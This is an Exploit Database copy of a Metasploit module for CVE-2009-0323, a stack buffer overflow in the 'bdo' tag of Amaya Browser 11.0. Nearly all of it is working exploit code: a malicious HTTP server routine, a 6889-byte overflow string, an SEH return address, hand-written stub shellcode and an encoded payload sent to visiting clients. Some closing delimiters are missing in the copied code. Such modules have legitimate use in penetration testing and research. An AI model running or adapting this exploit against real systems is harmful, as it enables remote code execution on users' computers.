Amaya Browser 11.0 – bdo tag Overflow (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16548/

# $Id: amaya_bdo.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Amaya Browser v11.0 bdo tag overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the Amaya v11 Browser.

By sending an overly long string to the "bdo"

tag, an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'dookie, original exploit by Rob Carter' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2009-0323' ],

[ 'OSVDB', '55721' ],

[ 'BID', '33046, 33047' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 970,

'BadChars'=> "\x00",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll

'DisclosureDate' => 'Jan 28 2009',

'DefaultTarget'=> 0))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Set the exploit buffer

sploit = "<bdo dir=\""

sploit += "\x41" * 6889

sploit += "\x74\x06\x41\x41"

sploit += [target.ret].pack('V')

sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F

sploit += "\x58" # pop EAX

sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A0857

sploit += "\x50" # push EAX

sploit += "\xc3" # RETN

sploit += make_nops(100)

sploit += payload.encoded

sploit += make_nops(970 - payload.encoded.length)

sploit += "\">pwned!</bdo>"

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, sploit)

# Handle the payload

handler(cli)

end